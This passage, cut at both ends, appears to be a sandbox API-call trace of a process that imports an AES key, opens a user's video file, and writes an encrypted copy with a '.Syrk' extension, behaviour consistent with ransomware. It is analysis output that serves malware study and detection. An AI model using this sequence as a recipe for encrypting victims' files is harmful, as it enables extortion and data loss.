Memory=0x32ce8c) returned 0x0 [0262.311] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0262.311] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0262.312] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0262.312] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0262.312] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0262.312] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0262.312] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0262.312] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0262.312] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0262.312] SystemFunction041 (in: Memory=0x3afe5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afe5c) returned 0x0 [0262.313] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0262.313] SystemFunction040 (in: Memory=0x3afe5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afe5c) returned 0x0 [0262.313] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0262.313] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0262.313] SystemFunction041 (in: Memory=0x3afe5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afe5c) returned 0x0 [0262.313] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0262.313] SystemFunction040 (in: Memory=0x3afe5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afe5c) returned 0x0 [0262.313] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0262.313] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0262.313] SystemFunction041 (in: Memory=0x3afe5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afe5c) returned 0x0 [0262.313] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0262.313] SystemFunction040 (in: Memory=0x3afe5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afe5c) returned 0x0 [0262.314] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0262.314] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0262.314] SystemFunction041 (in: Memory=0x3afe5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afe5c) returned 0x0 [0262.314] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0262.314] SystemFunction040 (in: Memory=0x3afe5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afe5c) returned 0x0 [0262.314] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0262.314] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0262.314] SystemFunction041 (in: Memory=0x3afe5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afe5c) returned 0x0 [0262.314] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0262.314] SystemFunction040 (in: Memory=0x3afe5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afe5c) returned 0x0 [0262.314] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0262.314] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0262.314] SystemFunction041 (in: Memory=0x3afe5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afe5c) returned 0x0 [0262.315] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0262.315] SystemFunction040 (in: Memory=0x3afe5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afe5c) returned 0x0 [0262.315] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0262.315] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0262.315] SystemFunction041 (in: Memory=0x3afe5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afe5c) returned 0x0 [0262.315] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0262.315] SystemFunction040 (in: Memory=0x3afe5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afe5c) returned 0x0 [0262.315] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0262.315] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0262.315] SystemFunction041 (in: Memory=0x3afe5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afe5c) returned 0x0 [0262.315] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0262.315] SystemFunction040 (in: Memory=0x3afe5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afe5c) returned 0x0 [0262.316] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0262.316] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0262.316] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0262.316] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0262.316] SystemFunction041 (in: Memory=0x5c9316c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9316c) returned 0x0 [0262.316] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0262.316] SystemFunction040 (in: Memory=0x5c9316c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9316c) returned 0x0 [0262.317] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0262.317] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0262.317] SystemFunction041 (in: Memory=0x5c9316c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9316c) returned 0x0 [0262.317] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0262.317] SystemFunction040 (in: Memory=0x5c9316c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9316c) returned 0x0 [0262.317] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0262.317] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0262.317] SystemFunction041 (in: Memory=0x5c9316c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9316c) returned 0x0 [0262.317] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0262.317] SystemFunction040 (in: Memory=0x5c9316c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9316c) returned 0x0 [0262.317] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0262.317] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0262.317] SystemFunction041 (in: Memory=0x5c9316c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9316c) returned 0x0 [0262.318] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0262.318] SystemFunction040 (in: Memory=0x5c9316c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9316c) returned 0x0 [0262.318] EtwEventActivityIdControl () returned 0x0 [0262.318] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0262.318] SystemFunction041 (in: Memory=0x5c9316c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9316c) returned 0x0 [0262.318] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0262.318] SystemFunction040 (in: Memory=0x5c9316c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9316c) returned 0x0 [0262.320] CryptAcquireContextW (in: phProv=0x5a2e630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e630*=0x5c4d210) returned 1 [0262.322] CryptImportKey (in: hProv=0x5c4d210, pbData=0x24c6850*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2ea1c | out: phKey=0x5a2ea1c*=0x5c99920) returned 1 [0262.322] CryptContextAddRef (hProv=0x5c4d210, pdwReserved=0x0, dwFlags=0x0) returned 1 [0262.322] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0262.323] EtwEventActivityIdControl () returned 0x0 [0262.323] EtwEventActivityIdControl () returned 0x0 [0262.323] EtwEventActivityIdControl () returned 0x0 [0262.328] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\Z8vxFZJ-jnzGO.mp4" (normalized: "c:\\users\\keecfmwgj\\videos\\z8vxfzj-jnzgo.mp4")) returned 0x20 [0262.329] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\Z8vxFZJ-jnzGO.mp4" (normalized: "c:\\users\\keecfmwgj\\videos\\z8vxfzj-jnzgo.mp4")) returned 0x20 [0262.330] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\Z8vxFZJ-jnzGO.mp4", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0262.330] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\Z8vxFZJ-jnzGO.mp4", nBufferLength=0x2c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\Z8vxFZJ-jnzGO.mp4", lpFilePart=0x0) returned 0x2b [0262.330] EtwEventActivityIdControl () returned 0x0 [0262.330] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0262.331] EtwEventActivityIdControl () returned 0x0 [0262.331] EtwEventActivityIdControl () returned 0x0 [0262.331] EtwEventActivityIdControl () returned 0x0 [0262.332] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\Z8vxFZJ-jnzGO.mp4", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0262.332] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\Z8vxFZJ-jnzGO.mp4", nBufferLength=0x2c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\Z8vxFZJ-jnzGO.mp4", lpFilePart=0x0) returned 0x2b [0262.332] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0262.333] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\Z8vxFZJ-jnzGO.mp4" (normalized: "c:\\users\\keecfmwgj\\videos\\z8vxfzj-jnzgo.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x364 [0262.333] GetFileType (hFile=0x364) returned 0x1 [0262.333] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0262.333] GetFileType (hFile=0x364) returned 0x1 [0262.333] EtwEventActivityIdControl () returned 0x0 [0262.333] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0262.334] EtwEventActivityIdControl () returned 0x0 [0262.334] EtwEventActivityIdControl () returned 0x0 [0262.334] EtwEventActivityIdControl () returned 0x0 [0262.336] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\Z8vxFZJ-jnzGO.mp4.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x31 [0262.336] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\Z8vxFZJ-jnzGO.mp4.Syrk", nBufferLength=0x31, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\Z8vxFZJ-jnzGO.mp4.Syrk", lpFilePart=0x0) returned 0x30 [0262.336] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0262.336] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\Z8vxFZJ-jnzGO.mp4.Syrk" (normalized: "c:\\users\\keecfmwgj\\videos\\z8vxfzj-jnzgo.mp4.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x368 [0262.337] GetFileType (hFile=0x368) returned 0x1 [0262.337] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0262.337] GetFileType (hFile=0x368) returned 0x1 [0262.337] EtwEventActivityIdControl () returned 0x0 [0262.337] CryptGenRandom (in: hProv=0x5c4d210, dwLen=0x10, pbBuffer=0x24d6914 | out: pbBuffer=0x24d6914) returned 1 [0262.338] CryptContextAddRef (hProv=0x5c4d210, pdwReserved=0x0, dwFlags=0x0) returned 1 [0262.339] CryptDuplicateKey (in: hKey=0x5c99920, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2e7c8 | out: phKey=0x5a2e7c8*=0x5c99560) returned 1 [0262.339] CryptContextAddRef (hProv=0x5c4d210, pdwReserved=0x0, dwFlags=0x0) returned 1 [0262.339] CryptSetKeyParam (hKey=0x5c99560, dwParam=0x4, pbData=0x24d7c4c*=0x1, dwFlags=0x0) returned 1 [0262.339] CryptSetKeyParam (hKey=0x5c99560, dwParam=0x1, pbData=0x24d7c18, dwFlags=0x0) returned 1 [0262.339] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0262.339] EtwEventActivityIdControl () returned 0x0 [0262.339] EtwEventActivityIdControl () returned 0x0 [0262.339] EtwEventActivityIdControl () returned 0x0 [0262.340] EtwEventActivityIdControl () returned 0x0 [0262.341] ReadFile (in: hFile=0x364, lpBuffer=0x24da888, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x24da888*, lpNumberOfBytesRead=0x5a2e7d8*=0x4d35, lpOverlapped=0x0) returned 1 [0262.343] CryptEncrypt (in: hKey=0x5c99560, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x24ee8a0*, pdwDataLen=0x5a2e7cc*=0x4d30, dwBufLen=0x4d30 | out: pbData=0x24ee8a0*, pdwDataLen=0x5a2e7cc*=0x4d30) returned 1 [0262.343] WriteFile (in: hFile=0x368, lpBuffer=0x24d69fc*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x24d69fc*, lpNumberOfBytesWritten=0x5a2e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0262.344] WriteFile (in: hFile=0x368, lpBuffer=0x24ef88c*, nNumberOfBytesToWrite=0x3d44, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x24ef88c*, lpNumberOfBytesWritten=0x5a2e7b0*=0x3d44, lpOverlapped=0x0) returned 1 [0262.345] ReadFile (in: hFile=0x364, lpBuffer=0x24da888, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x24da888*, lpNumberOfBytesRead=0x5a2e7d8*=0x0, lpOverlapped=0x0) returned 1 [0262.345] CryptEncrypt (in: hKey=0x5c99560, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x24f35dc*, pdwDataLen=0x5a2e820*=0x10, dwBufLen=0x10 | out: pbData=0x24f35dc*, pdwDataLen=0x5a2e820*=0x10) returned 1 [0262.345] CryptEncrypt (in: hKey=0x5c99560, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x24f35f8*, pdwDataLen=0x5a2e828*=0x0, dwBufLen=0x10 | out: pbData=0x24f35f8*, pdwDataLen=0x5a2e828*=0x10) returned 1 [0262.345] WriteFile (in: hFile=0x368, lpBuffer=0x24d69fc*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x5a2e7f8, lpOverlapped=0x0 | out: lpBuffer=0x24d69fc*, lpNumberOfBytesWritten=0x5a2e7f8*=0x10, lpOverlapped=0x0) returned 1 [0262.345] CloseHandle (hObject=0x368) returned 1 [0262.347] CloseHandle (hObject=0x364) returned 1 [0262.348] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0262.348] EtwEventActivityIdControl () returned 0x0 [0262.348] EtwEventActivityIdControl () returned 0x0 [0262.348] EtwEventActivityIdControl () returned 0x0 [0262.354] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\Z8vxFZJ-jnzGO.mp4" (normalized: "c:\\users\\keecfmwgj\\videos\\z8vxfzj-jnzgo.mp4")) returned 0x20 [0262.356] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\Z8vxFZJ-jnzGO.mp4", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0262.356] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\Z8vxFZJ-jnzGO.mp4", nBufferLength=0x2c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\Z8vxFZJ-jnzGO.mp4", lpFilePart=0x0) returned 0x2b [0262.356] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0262.356] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0262.356] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0262.356] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0262.357] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0262.357] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0262.357] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0262.357] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0262.357] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0262.357] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0262.357] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0262.357] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0262.358] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Videos" (normalized: "c:\\users\\keecfmwgj\\videos")) returned 0x11 [0262.358] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Videos" (normalized: "c:\\users\\keecfmwgj\\videos")) returned 0x11 [0262.358] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1a [0262.358] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos", nBufferLength=0x1a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos", lpFilePart=0x0) returned 0x19 [0262.358] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\Z8vxFZJ-jnzGO.mp4" (normalized: "c:\\users\\keecfmwgj\\videos\\z8vxfzj-jnzgo.mp4")) returned 0x20 [0262.358] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\Z8vxFZJ-jnzGO.mp4", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0262.358] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\Z8vxFZJ-jnzGO.mp4", nBufferLength=0x2c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\Z8vxFZJ-jnzGO.mp4", lpFilePart=0x0) returned 0x2b [0262.361] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\Z8vxFZJ-jnzGO.mp4", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0262.361] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\Z8vxFZJ-jnzGO.mp4", nBufferLength=0x2c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\Z8vxFZJ-jnzGO.mp4", lpFilePart=0x0) returned 0x2b [0262.361] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e56c) returned 1 [0262.361] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\Z8vxFZJ-jnzGO.mp4", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0262.361] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\Z8vxFZJ-jnzGO.mp4", nBufferLength=0x2c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\Z8vxFZJ-jnzGO.mp4", lpFilePart=0x0) returned 0x2b [0262.361] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\Z8vxFZJ-jnzGO.mp4\\*" (normalized: "c:\\users\\keecfmwgj\\videos\\z8vxfzj-jnzgo.mp4\\*"), lpFindFileData=0x5a2e31c | out: lpFindFileData=0x5a2e31c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0262.361] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e2dc) returned 1 [0262.362] CoTaskMemAlloc (cb=0x404) returned 0x3b0008 [0262.362] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x3b0008, nSize=0x200, 